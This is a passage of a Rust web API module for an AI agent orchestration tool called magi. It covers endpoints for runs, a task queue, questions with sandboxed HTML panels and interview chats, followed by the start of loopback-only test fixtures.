1821 let state = read_run(&ui.runs, &id)?;
1822 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1823 return Err(ApiError::conflict(format!(
1824 "run {} is being worked on by a live daemon right now",
1825 state.short()
1826 )));
1827 }
1828 Ok((id, state))
1829 })
1830 .await?
1831 };
1832 let removed = crate::graph::fold_run(&mut state, true)
1833 .await
1834 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1835 Ok(Json(FoldView {
1836 run: id,
1837 removed_count: removed.len(),
1838 removed,
1839 }))
1840}
1841
1842#[derive(Debug, Serialize)]
1844struct FoldView {
1845 run: String,
1846 removed: Vec<String>,
1848 removed_count: usize,
1849}
1850
1851async fn run_resume(
1870 State(ui): State<Arc<Ui>>,
1871 Path(id): Path<String>,
1872) -> ApiResult<(StatusCode, Json<RunSummary>)> {
1873 let (id, state) = {
1874 let ui = Arc::clone(&ui);
1875 blocking(move || {
1876 let id = resolve_run(&ui.runs, &id)?;
1877 let state = read_run(&ui.runs, &id)?;
1878 Ok((id, state))
1879 })
1880 .await?
1881 };
1882 if !state.status.resumable() {
1883 return Err(ApiError::conflict(format!(
1884 "run {} is `{}`, and only a stalled or blocked run can be resumed",
1885 state.short(),
1886 status_word(state.status)
1887 )));
1888 }
1889 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now()) {
1890 return Err(ApiError::conflict(format!(
1891 "the loop is running run {} right now; magi runs one competition at \
1892 a time so the agent quota is not spent twice over. Stop the loop \
1893 first.",
1894 crate::run::short_of(&work.run)
1895 )));
1896 }
1897 let _resume = ui.begin_resume(&id)?;
1898
1899 let queued = RunSummary::of(&state, !ui.questions.open_for(&id).is_empty());
1902 let run = id.clone();
1903 tokio::spawn(async move {
1904 let _resume = _resume;
1905 match crate::graph::Runner::resume(&run) {
1906 Ok(mut runner) => {
1907 if let Err(e) = runner.execute().await {
1908 tracing::warn!("resume of run {run} stopped: {e:#}");
1909 }
1910 }
1911 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
1914 }
1915 });
1916 Ok((StatusCode::ACCEPTED, Json(queued)))
1917}
1918
1919async fn run_report(
1920 State(ui): State<Arc<Ui>>,
1921 Path(id): Path<String>,
1922) -> ApiResult<impl IntoResponse> {
1923 let text = blocking(move || {
1924 let id = resolve_run(&ui.runs, &id)?;
1925 Ok(report::run(&read_run(&ui.runs, &id)?))
1929 })
1930 .await?;
1931 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
1932}
1933
1934#[derive(Debug, Serialize)]
1940struct TaskView {
1941 #[serde(flatten)]
1942 task: Task,
1943 source_label: String,
1944 status_str: &'static str,
1945 instruction_md: Vec<md::Node>,
1949}
1950
1951impl From<Task> for TaskView {
1952 fn from(task: Task) -> Self {
1953 Self {
1954 source_label: task.source.label(),
1955 status_str: task.status.as_str(),
1956 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
1957 task,
1958 }
1959 }
1960}
1961
1962#[derive(Debug, Default, Deserialize)]
1965#[serde(default)]
1966struct ReposQuery {
1967 refresh: u8,
1968}
1969
1970async fn repos_list(
1978 State(ui): State<Arc<Ui>>,
1979 Query(q): Query<ReposQuery>,
1980) -> ApiResult<Json<Vec<repos::Repo>>> {
1981 let refresh = q.refresh != 0;
1982 blocking(move || {
1983 let (cfg, _) = Config::discover(&ui.repo, None)?;
1984 Ok(Json(ui.repos_cache.list(
1985 &cfg.repos.roots,
1986 Duration::from_secs(cfg.repos.scan_ttl),
1987 refresh,
1988 )))
1989 })
1990 .await
1991}
1992
1993async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
1994 blocking(move || {
1995 Ok(Json(
1996 ui.queue.list().into_iter().map(TaskView::from).collect(),
1997 ))
1998 })
1999 .await
2000}
2001
2002async fn queue_hold(
2003 State(ui): State<Arc<Ui>>,
2004 Path(id): Path<String>,
2005) -> ApiResult<Json<TaskView>> {
2006 mutate(ui, id, Task::hold).await
2007}
2008
2009async fn queue_release(
2010 State(ui): State<Arc<Ui>>,
2011 Path(id): Path<String>,
2012) -> ApiResult<Json<TaskView>> {
2013 mutate(ui, id, Task::release).await
2014}
2015
2016async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2024 blocking(move || {
2025 let id = resolve_task(&ui.queue, &id)?;
2026 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
2027 ui.queue
2028 .remove(&id, in_flight)
2029 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2030 Ok(StatusCode::NO_CONTENT)
2031 })
2032 .await
2033}
2034
2035async fn mutate(ui: Arc<Ui>, id: String, change: fn(&mut Task)) -> ApiResult<Json<TaskView>> {
2041 blocking(move || {
2042 let id = resolve_task(&ui.queue, &id)?;
2043 let _claim = ui.queue.claim(&id).map_err(|e| {
2048 ApiError::conflict(format!(
2049 "{e:#} - a daemon is running this task, so it cannot be \
2050 changed from here yet"
2051 ))
2052 })?;
2053 let mut task = ui.queue.get(&id)?;
2054 change(&mut task);
2055 ui.queue.put(&mut task)?;
2056 Ok(Json(TaskView::from(task)))
2057 })
2058 .await
2059}
2060
2061async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
2069 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
2070 tokio::spawn(async move {
2071 let mut ticker = tokio::time::interval(POLL);
2072 let mut last: Option<(u64, u64, u64, u64, u64)> = None;
2073 loop {
2074 ticker.tick().await;
2077 let state = Arc::clone(&ui);
2078 let revisions = tokio::task::spawn_blocking(move || {
2079 (
2080 state.queue.revision(),
2081 runs_revision(&state.runs),
2082 state.questions.revision(),
2083 state.chats.revision(),
2084 state.lock_loop().rev,
2088 )
2089 })
2090 .await;
2091 let Ok(revisions) = revisions else { break };
2092 if last == Some(revisions) {
2093 continue;
2094 }
2095 last = Some(revisions);
2096 let payload = serde_json::json!({
2097 "queue_rev": revisions.0,
2098 "runs_rev": revisions.1,
2099 "questions_rev": revisions.2,
2100 "chats_rev": revisions.3,
2101 "loop_rev": revisions.4,
2102 });
2103 let Ok(event) = Event::default().event("change").json_data(payload) else {
2105 break;
2106 };
2107 if tx.send(event).await.is_err() {
2108 break;
2109 }
2110 }
2111 });
2112 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
2113 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
2114}
2115
2116fn runs_revision(runs: &FsPath) -> u64 {
2123 use std::hash::{Hash as _, Hasher as _};
2124
2125 let mut entries: Vec<(String, u64)> = std::fs::read_dir(runs)
2126 .into_iter()
2127 .flatten()
2128 .flatten()
2129 .filter_map(|e| {
2130 let path = e.path().join("run.json");
2131 let mtime = path
2132 .metadata()
2133 .ok()?
2134 .modified()
2135 .ok()?
2136 .duration_since(std::time::UNIX_EPOCH)
2137 .ok()?
2138 .as_millis() as u64;
2139 let id = e.file_name().to_string_lossy().into_owned();
2140 Some((id, mtime))
2141 })
2142 .collect();
2143
2144 if entries.is_empty() {
2145 return 0;
2146 }
2147
2148 entries.sort_unstable();
2149 let mut hasher = std::hash::DefaultHasher::new();
2150 for (id, mtime) in &entries {
2151 id.hash(&mut hasher);
2152 mtime.hash(&mut hasher);
2153 }
2154 let h = hasher.finish();
2155 if h == 0 { 1 } else { h }
2156}
2157
2158fn run_ids(runs: &FsPath) -> Vec<String> {
2164 let mut ids: Vec<String> = std::fs::read_dir(runs)
2165 .into_iter()
2166 .flatten()
2167 .flatten()
2168 .filter(|e| e.path().join("run.json").is_file())
2169 .map(|e| e.file_name().to_string_lossy().into_owned())
2170 .collect();
2171 ids.sort_unstable_by(|a, b| b.cmp(a));
2173 ids
2174}
2175
2176fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
2178 let path = runs.join(id).join("run.json");
2179 let body =
2180 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
2181 let state: RunState =
2182 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2183 if state.schema != run::SCHEMA {
2184 anyhow::bail!(
2185 "run {} was written by a different magi (schema {}, this build speaks {})",
2186 state.id,
2187 state.schema,
2188 run::SCHEMA
2189 );
2190 }
2191 Ok(state)
2192}
2193
2194#[must_use]
2202pub fn runs_unreadable(runs: &FsPath) -> usize {
2203 run_ids(runs)
2204 .into_iter()
2205 .filter(|id| read_run(runs, id).is_err())
2206 .count()
2207}
2208
2209fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
2211 if runs.join(id).join("run.json").is_file() {
2212 return Ok(id.to_owned());
2213 }
2214 pick(run_ids(runs), id, "run")
2215}
2216
2217fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
2219 if queue.path_of(id).is_file() {
2220 return Ok(id.to_owned());
2221 }
2222 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
2223}
2224
2225#[derive(Debug, Serialize)]
2236struct QuestionView {
2237 #[serde(flatten)]
2238 question: Question,
2239 detail_md: Vec<md::Node>,
2240}
2241
2242impl From<Question> for QuestionView {
2243 fn from(question: Question) -> Self {
2244 let base = md::ImageBase::QuestionPanel {
2245 id: question.id.clone(),
2246 };
2247 Self {
2248 detail_md: md::to_nodes(&question.detail, &base),
2249 question,
2250 }
2251 }
2252}
2253
2254async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
2260 blocking(move || {
2261 Ok(Json(
2262 ui.questions
2263 .list()
2264 .into_iter()
2265 .map(QuestionView::from)
2266 .collect(),
2267 ))
2268 })
2269 .await
2270}
2271
2272#[derive(Debug, Default, Deserialize)]
2278#[serde(default, deny_unknown_fields)]
2279struct NewAnswer {
2280 choice: Option<String>,
2281 text: Option<String>,
2282}
2283
2284async fn question_answer(
2285 State(ui): State<Arc<Ui>>,
2286 Path(id): Path<String>,
2287 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
2288) -> ApiResult<Json<QuestionView>> {
2289 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2290 let answer = match (body.choice, body.text) {
2291 (Some(c), None) => Answer::Choice(c),
2292 (None, Some(t)) => Answer::Text(t),
2293 (Some(_), Some(_)) => {
2294 return Err(ApiError::bad_request(
2295 "send either `choice` or `text`, not both",
2296 ));
2297 }
2298 (None, None) => {
2299 return Err(ApiError::bad_request("send a `choice` or a `text`"));
2300 }
2301 };
2302
2303 blocking(move || {
2304 let id = resolve_question(&ui.questions, &id)?;
2305 let mut q = ui
2306 .questions
2307 .get(&id)
2308 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
2309 if !q.status.open() {
2310 return Err(ApiError::conflict(format!(
2314 "question {} is already {}",
2315 q.short(),
2316 q.status.as_str()
2317 )));
2318 }
2319 q.answer(answer).map_err(ApiError::bad_request_from)?;
2323 ui.questions.put(&mut q)?;
2324 Ok(Json(QuestionView::from(q)))
2325 })
2326 .await
2327}
2328
2329fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
2331 if store.path_of(id).is_file() {
2332 return Ok(id.to_owned());
2333 }
2334 pick(
2335 store.list().into_iter().map(|q| q.id).collect(),
2336 id,
2337 "question",
2338 )
2339}
2340
2341async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
2356 blocking(move || {
2357 let id = resolve_question(&ui.questions, &id)?;
2358 let Some(html) = ui.questions.panel_html(&id) else {
2359 return Err(ApiError::not_found(format!("question {id} has no panel")));
2360 };
2361 Ok(panel_response(
2362 "text/html; charset=utf-8",
2363 false,
2364 html.into_bytes(),
2365 ))
2366 })
2367 .await
2368}
2369
2370async fn question_asset(
2398 State(ui): State<Arc<Ui>>,
2399 Path((id, name)): Path<(String, String)>,
2400) -> ApiResult<Response> {
2401 if !crate::ask::valid_asset_name(&name) {
2404 return Err(ApiError::bad_request(format!(
2405 "`{name}` is not a usable asset name"
2406 )));
2407 }
2408 blocking(move || {
2409 let id = resolve_question(&ui.questions, &id)?;
2410 let asset = ui
2411 .questions
2412 .panel_asset(&id, &name)
2413 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2414 let Some(bytes) = asset else {
2415 return Err(ApiError::not_found(format!(
2416 "question {id} has no asset `{name}`"
2417 )));
2418 };
2419 Ok(panel_response(
2420 asset_content_type(&name),
2421 is_svg(&name),
2422 bytes,
2423 ))
2424 })
2425 .await
2426}
2427
2428fn asset_content_type(name: &str) -> &'static str {
2441 match extension(name).as_deref() {
2442 Some("png") => "image/png",
2443 Some("jpg" | "jpeg") => "image/jpeg",
2444 Some("gif") => "image/gif",
2445 Some("webp") => "image/webp",
2446 Some("svg") => "image/svg+xml",
2447 Some("css") => "text/css; charset=utf-8",
2448 Some("txt") => "text/plain; charset=utf-8",
2449 _ => "application/octet-stream",
2450 }
2451}
2452
2453fn is_svg(name: &str) -> bool {
2456 extension(name).as_deref() == Some("svg")
2457}
2458
2459fn extension(name: &str) -> Option<String> {
2461 name.rsplit_once('.')
2462 .map(|(_, ext)| ext.to_ascii_lowercase())
2463}
2464
2465fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
2482 let mut res = (
2483 [
2484 (header::CONTENT_TYPE, content_type),
2485 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
2486 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
2487 (header::REFERRER_POLICY, "no-referrer"),
2488 ],
2489 body,
2490 )
2491 .into_response();
2492 if download {
2493 res.headers_mut().insert(
2494 header::CONTENT_DISPOSITION,
2495 HeaderValue::from_static("attachment"),
2496 );
2497 }
2498 res
2499}
2500
2501#[derive(Debug, Serialize)]
2510struct ChatView {
2511 #[serde(flatten)]
2512 chat: Chat,
2513 turn_bodies_md: Vec<Vec<md::Node>>,
2514 draft_md: Option<Vec<md::Node>>,
2515}
2516
2517impl From<Chat> for ChatView {
2518 fn from(chat: Chat) -> Self {
2519 let turn_bodies_md = chat
2520 .turns
2521 .iter()
2522 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2523 .collect();
2524 let draft_md = chat
2525 .draft
2526 .as_deref()
2527 .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2528 Self {
2529 turn_bodies_md,
2530 draft_md,
2531 chat,
2532 }
2533 }
2534}
2535
2536async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2544 blocking(move || {
2545 Ok(Json(
2546 ui.chats.list().into_iter().map(ChatView::from).collect(),
2547 ))
2548 })
2549 .await
2550}
2551
2552async fn chat_detail(
2553 State(ui): State<Arc<Ui>>,
2554 Path(id): Path<String>,
2555) -> ApiResult<Json<ChatView>> {
2556 blocking(move || {
2557 let id = resolve_chat(&ui.chats, &id)?;
2558 Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2559 })
2560 .await
2561}
2562
2563#[derive(Debug, Default, Deserialize)]
2574#[serde(default)]
2575struct NewChat {
2576 idea: String,
2577 agent: Option<String>,
2578 repo: Option<PathBuf>,
2579 from: Option<String>,
2580}
2581
2582async fn chat_post(
2591 State(ui): State<Arc<Ui>>,
2592 body: std::result::Result<Json<NewChat>, JsonRejection>,
2593) -> ApiResult<impl IntoResponse> {
2594 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2595 if body.idea.trim().is_empty() {
2596 return Err(ApiError::bad_request(
2597 "an interview needs something to interview about",
2598 ));
2599 }
2600
2601 let from = {
2605 let ui = Arc::clone(&ui);
2606 let from_id = body.from.clone();
2607 blocking(move || match from_id {
2608 None => Ok(None),
2609 Some(id) => {
2610 let resolved = resolve_chat(&ui.chats, &id)?;
2611 Ok(Some(ui.chats.get(&resolved)?))
2612 }
2613 })
2614 .await?
2615 };
2616
2617 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2621 let cfg = config_for(&repo).await?;
2622 let chat = chat::start(
2623 &ui.chats,
2624 &cfg,
2625 repo,
2626 &body.idea,
2627 body.agent.as_deref(),
2628 from.as_ref(),
2629 )
2630 .await
2631 .map_err(ApiError::from)?;
2632 Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2633}
2634
2635#[derive(Debug, Default, Deserialize)]
2637#[serde(default, deny_unknown_fields)]
2638struct NewTurn {
2639 text: String,
2640}
2641
2642async fn chat_say(
2668 State(ui): State<Arc<Ui>>,
2669 Path(id): Path<String>,
2670 body: std::result::Result<Json<NewTurn>, JsonRejection>,
2671) -> ApiResult<(StatusCode, Json<ChatView>)> {
2672 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2673 if body.text.trim().is_empty() {
2674 return Err(ApiError::bad_request("say something"));
2675 }
2676
2677 let id = {
2678 let ui = Arc::clone(&ui);
2679 let asked = id.clone();
2680 blocking(move || resolve_chat(&ui.chats, &asked)).await?
2681 };
2682 let _turn = ui.begin_turn(&id)?;
2686
2687 let (chat, cfg) = {
2688 let ui = Arc::clone(&ui);
2689 let id = id.clone();
2690 blocking(move || {
2691 let chat = ui.chats.get(&id)?;
2692 let (cfg, _) = Config::discover(&chat.repo, None)?;
2693 Ok((chat, cfg))
2694 })
2695 .await?
2696 };
2697
2698 let chats = ui.chats.clone();
2713 let text = {
2714 let mut chat = chat.clone();
2715 let chats = chats.clone();
2716 let said = body.text.clone();
2717 blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2718 };
2719 let mut chat = {
2722 let ui = Arc::clone(&ui);
2723 let id = id.clone();
2724 blocking(move || Ok(ui.chats.get(&id)?)).await?
2725 };
2726 let queued = chat.clone();
2727 tokio::spawn(async move {
2728 let _turn = _turn;
2729 if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2730 tracing::warn!("chat {id} turn failed: {e:#}");
2733 }
2734 });
2735
2736 Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2740}
2741
2742#[derive(Debug, Default, Deserialize)]
2744#[serde(default, deny_unknown_fields)]
2745struct FileDraft {
2746 priority: i32,
2747}
2748
2749async fn chat_file(
2756 State(ui): State<Arc<Ui>>,
2757 Path(id): Path<String>,
2758 body: std::result::Result<Json<FileDraft>, JsonRejection>,
2759) -> ApiResult<Json<serde_json::Value>> {
2760 let body = match body {
2765 Ok(Json(body)) => body,
2766 Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2767 Err(e) => return Err(ApiError::bad_request(e.body_text())),
2768 };
2769
2770 blocking(move || {
2771 let id = resolve_chat(&ui.chats, &id)?;
2772 let mut chat = ui.chats.get(&id)?;
2773 if let Err(problems) = chat::draft_problems(&chat) {
2778 return Err(ApiError::bad_request_with(
2779 "the draft is not fileable yet",
2780 problems,
2781 ));
2782 }
2783 let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2784 Ok(Json(serde_json::json!({ "task": task })))
2785 })
2786 .await
2787}
2788
2789fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2791 pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2792}
2793
2794async fn config_for(repo: &FsPath) -> ApiResult<Config> {
2802 let repo = repo.to_path_buf();
2803 blocking(move || {
2804 let (cfg, _) = Config::discover(&repo, None)?;
2805 Ok(cfg)
2806 })
2807 .await
2808}
2809
2810fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
2816 let mut hits = ids
2817 .into_iter()
2818 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
2819 match (hits.next(), hits.next()) {
2820 (Some(one), None) => Ok(one),
2821 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
2822 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
2823 "`{prefix}` matches more than one {what}, including {a} and {b}"
2824 ))),
2825 }
2826}
2827
2828#[cfg(test)]
2829mod tests {
2830 use pretty_assertions::assert_eq;
2831 use serde_json::Value;
2832 use tempfile::TempDir;
2833 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
2834
2835 use super::*;
2836 use crate::config::Config;
2837 use crate::queue::{Source, TaskStatus};
2838
2839 struct Fixture {
2845 home: TempDir,
2846 addr: SocketAddr,
2847 }
2848
2849 impl Fixture {
2850 async fn start() -> Self {
2851 Self::with_loop(launch_idle).await
2852 }
2853
2854 async fn with_loop(launch: Launch) -> Self {
2856 let home = TempDir::new().expect("temp home");
2857 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
2858 Self { home, addr }
2859 }
2860
2861 async fn with_repo(repo: PathBuf) -> Self {
2865 let home = TempDir::new().expect("temp home");
2866 let addr = Self::serve(home.path(), repo, launch_idle).await;
2867 Self { home, addr }
2868 }
2869
2870 async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
2871 let queue = Queue::at(home.join("queue"));
2872 let runs = home.join("runs");
2873 std::fs::create_dir_all(&runs).expect("runs dir");
2874 let ui = Ui::new(
2875 queue,
2876 Questions::at(home.join("questions")),
2877 Chats::at(home.join("chats")),
2878 runs,
2879 home.to_path_buf(),
2880 repo,
2881 )
2882 .with_launch(launch);
2883 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
2884 .await
2885 .expect("bind loopback");
2886 let addr = listener.local_addr().expect("local addr");
2887 tokio::spawn(async move {
2888 let _ = axum::serve(listener, ui.router()).await;
2889 });
2890 addr
2891 }
2892
2893 fn queue(&self) -> Queue {
2894 Queue::at(self.home.path().join("queue"))
2895 }
2896
2897 fn questions(&self) -> Questions {
2898 Questions::at(self.home.path().join("questions"))
2899 }
2900
2901 fn chats(&self) -> Chats {
2902 Chats::at(self.home.path().join("chats"))
2903 }
2904
2905 fn runs(&self) -> PathBuf {
2906 self.home.path().join("runs")
2907 }
2908
2909 async fn get(&self, path: &str) -> Res {
2910 request(self.addr, "GET", path, None).await
2911 }
2912
2913 async fn head(&self, path: &str) -> Res {
2918 request(self.addr, "HEAD", path, None).await
2919 }
2920
2921 async fn post(&self, path: &str, body: Option<&str>) -> Res {
2922 request(self.addr, "POST", path, body).await
2923 }
2924
2925 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
2926 request_with(self.addr, "GET", path, None, extra).await
2927 }
2928
2929 async fn delete(&self, path: &str) -> Res {
2930 request(self.addr, "DELETE", path, None).await
2931 }
2932 }
2933
2934 struct Res {
2935 status: u16,
2936 headers: String,
2937 head: String,
2942 body: String,
2943 bytes: Vec<u8>,
2947 }
2948
2949 impl Res {
2950 fn json(&self) -> Value {
2951 serde_json::from_str(&self.body)
2952 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
2953 }
2954
2955 fn header(&self, name: &str) -> Option<&str> {
2957 self.head.lines().find_map(|line| {
2958 let (key, value) = line.split_once(':')?;
2959 key.trim()
2960 .eq_ignore_ascii_case(name)
2961 .then(|| value.trim_start().trim_end_matches('\r'))
2962 })
2963 }
2964 }
2965
2966 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
2969 request_with(addr, method, path, body, &[]).await
2970 }
2971
2972 async fn request_with(
2976 addr: SocketAddr,
2977 method: &str,
2978 path: &str,
2979 body: Option<&str>,
2980 extra: &[(&str, &str)],
2981 ) -> Res {
2982 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
2983 for (name, value) in extra {
2984 head.push_str(&format!("{name}: {value}\r\n"));
2985 }
2986 if let Some(body) = body {
2987 head.push_str("Content-Type: application/json\r\n");
2988 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
2989 }
2990 head.push_str("\r\n");
2991 if let Some(body) = body {
2992 head.push_str(body);
2993 }
2994 let mut socket = tokio::net::TcpStream::connect(addr)
2995 .await
2996 .expect("connect to the test server");
2997 socket
2998 .write_all(head.as_bytes())
2999 .await
3000 .expect("write request");
3001 let mut raw = Vec::new();
3002 socket.read_to_end(&mut raw).await.expect("read response");
3003 let split = raw
3006 .windows(4)
3007 .position(|w| w == b"\r\n\r\n")
3008 .expect("a header block");
3009 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3010 let bytes = raw[split + 4..].to_vec();
3011 let status = head
3012 .lines()
3013 .next()
3014 .and_then(|line| line.split_whitespace().nth(1))
3015 .and_then(|code| code.parse().ok())
3016 .expect("a status line");
3017 Res {
3018 status,
3019 headers: head.to_lowercase(),
3020 head,
3021 body: String::from_utf8_lossy(&bytes).into_owned(),
3022 bytes,
3023 }
3024 }
3025
3026 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3028 let mut state = RunState::new(
3029 PathBuf::from("/repo/magi"),
3030 "main".to_owned(),
3031 "0123456789abcdef".to_owned(),
3032 "Add a web UI\n\nMobile first.".to_owned(),
3033 Config::default(),
3034 );
3035 state.id = id.to_owned();
3036 state.status = status;
3037 let dir = runs.join(id);
3038 std::fs::create_dir_all(&dir).expect("run dir");
3039 std::fs::write(
3040 dir.join("run.json"),
3041 serde_json::to_string_pretty(&state).expect("serialize run"),
3042 )
3043 .expect("write run.json");
3044 }
3045
3046 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3047 let body = serde_json::json!({
3048 "schema": 1,
3049 "pid": 4242,
3050 "started_at": Timestamp::now().to_string(),
3051 "updated_at": updated_at.to_string(),
3052 "idle": false,
3053 "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3054 "completed": 7,
3055 "polls": 143,
3056 });
3057 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3058 }
3059
3060 fn launch_idle(
3070 _opts: daemon::Opts,
3071 stop: daemon::Stop,
3072 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3073 Box::pin(async move {
3074 while !stop.stopped() {
3075 tokio::time::sleep(Duration::from_millis(2)).await;
3076 }
3077 Ok(())
3078 })
3079 }
3080
3081 fn launch_broken(
3084 _opts: daemon::Opts,
3085 _stop: daemon::Stop,
3086 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3087 Box::pin(async {
3088 Err(anyhow::anyhow!(
3089 "publish the daemon status file: read-only file system"
3090 ))
3091 })
3092 }
3093
3094 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3101 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3102
3103 fn launch_knocking_on_the_way_out(
3110 _opts: daemon::Opts,
3111 stop: daemon::Stop,
3112 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3113 Box::pin(async move {
3114 while !stop.stopped() {
3115 tokio::time::sleep(Duration::from_millis(2)).await;
3116 }
3117 let addr = PARK_KNOCK
3118 .lock()
3119 .expect("park knock")
3120 .expect("the test set an address");
3121 let heard = request(addr, "GET", "/api/health", None).await.status;
3122 *PARK_HEARD.lock().expect("park heard") = Some(heard);
3123 Ok(())
3124 })
3125 }
3126
3127 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3135 for _ in 0..200 {
3136 let view = fx.get("/api/loop").await.json();
3137 if want(&view) {
3138 return view;
3139 }
3140 tokio::time::sleep(Duration::from_millis(10)).await;
3141 }
3142 panic!(
3143 "the loop never settled: {}",
3144 fx.get("/api/loop").await.json()
3145 );
3146 }
3147
3148 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3150 let store = fx.questions();
3151 let mut q = Question::new(
3152 "20260902-000000-beef".to_owned(),
3153 "implement".to_owned(),
3154 "impl-A".to_owned(),
3155 summary.to_owned(),
3156 "because it matters".to_owned(),
3157 choices.iter().map(|c| (*c).to_owned()).collect(),
3158 );
3159 store.put(&mut q).expect("put question");
3160 q.id
3161 }
3162
3163 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3169 let store = fx.questions();
3170 let mut q = Question::new(
3171 "20260902-000000-beef".to_owned(),
3172 "land".to_owned(),
3173 "fix".to_owned(),
3174 "Merge this?".to_owned(),
3175 "the diff is in the panel".to_owned(),
3176 vec!["merge".to_owned(), "hold".to_owned()],
3177 );
3178 let staging = fx.home.path().join("staging");
3181 std::fs::create_dir_all(&staging).expect("staging dir");
3182 let sources: Vec<PathBuf> = assets
3183 .iter()
3184 .map(|(name, bytes)| {
3185 let path = staging.join(name);
3186 std::fs::write(&path, bytes).expect("write staged asset");
3187 path
3188 })
3189 .collect();
3190 store
3191 .put_panel(&mut q, html, &sources)
3192 .expect("write the panel");
3193 store.put(&mut q).expect("put question");
3194 q.id
3195 }
3196
3197 fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
3205 let store = fx.chats();
3206 std::fs::create_dir_all(store.root()).expect("chats dir");
3207 let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
3208 .expect("serialize a seat");
3209 let body = serde_json::json!({
3210 "schema": 1,
3211 "id": id,
3212 "repo": "/repo/magi",
3213 "agent": "sonnet",
3214 "status": status,
3215 "turns": [
3216 { "who": "operator", "body": "rework the config loader",
3217 "at": Timestamp::now().to_string() },
3218 { "who": "agent", "body": "Which part is hurting?",
3219 "at": Timestamp::now().to_string() },
3220 ],
3221 "draft": draft,
3222 "task": Value::Null,
3223 "created_at": Timestamp::now().to_string(),
3224 "updated_at": Timestamp::now().to_string(),
3225 "seat": seat,
3226 });
3227 std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
3228 store.get(id).expect("the seeded chat has to be readable");
3231 id.to_owned()
3232 }
3233
3234 fn good_draft() -> String {
3237 "# Rework the config loader\n\n\
3238 ## Why\n\n\
3239 It re-reads `magi.toml` on every lookup, so a run that asks for the \
3240 roster four hundred times pays four hundred parses of the same file.\n\n\
3241 ## What\n\n\
